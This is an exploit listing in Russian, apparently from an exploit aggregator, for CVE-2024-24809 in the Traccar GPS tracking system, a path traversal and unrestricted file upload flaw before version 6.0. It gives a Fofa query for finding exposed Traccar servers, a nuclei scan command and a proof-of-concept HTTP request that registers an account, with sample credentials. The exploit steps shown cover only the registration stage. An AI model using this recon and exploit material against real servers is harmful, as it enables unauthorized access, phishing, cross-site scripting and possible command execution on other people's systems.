Exploit for CVE-2024-24809-Proof-of-concept

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GH-OST00-CVE-2024-24809-PROOF-OF-CONCEPT
### Детали CVE-2024-24809

#Описание Traccar — это система GPS-отслеживания с открытым исходным кодом. Версии до 6.0 уязвимы для path traversal и неограниченной загрузки файлов опасного типа. Поскольку система по умолчанию разрешает регистрацию, злоумышленники могут получить обычные права пользователя, зарегистрировав аккаунт, и использовать эту уязвимость для загрузки файлов с префиксом `device.` в любую папку. Злоумышленники могут использовать эту уязвимость для фишинга, межсайтового скриптинга и потенциального выполнения произвольных команд на сервере. Версия 6.0 содержит исправление этой проблемы.

#использование

root@kitploit:~
    
    
    Fofa query : app="traccar"
    

root@kitploit:~
    
    
    nuclei --target {target.com} -t CVE-2024-24809.yaml
    

#Подтверждение концепции (с использованием burpsuite)

root@kitploit:~
    
    
    POST /api/users HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/x-www-form-urlencoded;charset=UTF-8
    
    {"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}
    

#Тестовая учетная запись

root@kitploit:~
    
    
    name: "ghostsec"
    password: "ghostsec"
    email: "some-email@example.com"